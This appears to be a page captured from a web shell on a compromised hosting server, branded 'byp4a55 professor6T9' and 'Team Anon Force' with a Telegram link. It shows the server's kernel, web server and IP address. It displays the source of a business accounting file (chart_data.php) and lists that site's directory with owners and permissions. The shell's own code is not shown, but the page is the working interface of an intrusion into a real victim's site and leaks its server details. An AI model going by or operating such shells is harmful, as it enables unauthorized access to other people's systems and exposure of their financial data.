byp4a55 professor6T9

Linux premium133.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
162.0.232.69

File Name : chart_data.php

<?php
require_once '../config/auth.php';
requireRole(['admin','accountant']);
require_once '../config/db.php';

$sql = "
SELECT
    m.month,

(
        SELECT IFNULL(SUM(sp.amount),0)
        FROM subscription_payments sp
        WHERE sp.payment_month = m.month
          AND sp.status = 'successful'
    ) AS subscription_income,

IFNULL(SUM(CASE WHEN a.type = 'income' THEN a.amount END), 0) AS extra_income,

IFNULL(SUM(CASE WHEN a.type = 'expense' THEN a.amount END), 0) AS expense,

(
        SELECT IFNULL(SUM(p.net_salary),0)
        FROM payrolls p
        WHERE p.payroll_month = m.month
    ) AS payroll

FROM (
    SELECT DISTINCT payroll_month AS month FROM payrolls
    UNION
    SELECT DISTINCT accounting_month AS month FROM accounting_entries
    UNION
    SELECT DISTINCT payment_month AS month FROM subscription_payments
) m

LEFT JOIN accounting_entries a
    ON a.accounting_month = m.month

GROUP BY m.month
ORDER BY STR_TO_DATE(m.month, '%M %Y') ASC
";

$stmt = $pdo->query($sql);
echo json_encode($stmt->fetchAll(PDO::FETCH_ASSOC));

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	mboniqkj/mboniqkj	0755	2026-03-05 02:00:21
..	dir	-	mboniqkj/nobody	0750	2026-03-05 01:59:52
add_expense.php	text/x-php	750 B	mboniqkj/mboniqkj	0644	2025-12-30 09:58:45
add_income.php	text/x-php	750 B	mboniqkj/mboniqkj	0644	2025-12-30 09:59:39
chart_data.php	text/x-php	1.05 KB	mboniqkj/mboniqkj	0644	2025-12-30 10:44:09
charts.php	text/x-php	429 B	mboniqkj/mboniqkj	0644	2025-12-30 10:43:13
close_month.php	text/x-php	739 B	mboniqkj/mboniqkj	0644	2025-12-30 09:56:40
delete_expense.php	text/x-php	401 B	mboniqkj/mboniqkj	0644	2025-12-30 10:00:50
delete_income.php	text/x-php	408 B	mboniqkj/mboniqkj	0644	2025-12-30 10:00:36
details.php	text/x-php	5.95 KB	mboniqkj/mboniqkj	0644	2025-12-31 09:44:14
error_log	text/plain	6.9 KB	mboniqkj/mboniqkj	0644	2026-03-05 02:23:24
expenses.php	text/x-php	2.33 KB	mboniqkj/mboniqkj	0644	2025-12-30 10:09:59
export_pdf.php	text/x-php	3.51 KB	mboniqkj/mboniqkj	0644	2025-12-31 09:45:08
income.php	text/x-php	2.34 KB	mboniqkj/mboniqkj	0644	2025-12-30 10:09:53
list_expenses.php	text/x-php	396 B	mboniqkj/mboniqkj	0644	2025-12-30 08:26:28
list_income.php	text/x-php	396 B	mboniqkj/mboniqkj	0644	2025-12-30 08:52:11
summary.php	text/x-php	822 B	mboniqkj/mboniqkj	0644	2025-12-30 11:13:41
summary_ajax.php	text/x-php	1.92 KB	mboniqkj/mboniqkj	0644	2025-12-31 09:43:11

Team Anon Force

https://t.me/Professor6T9x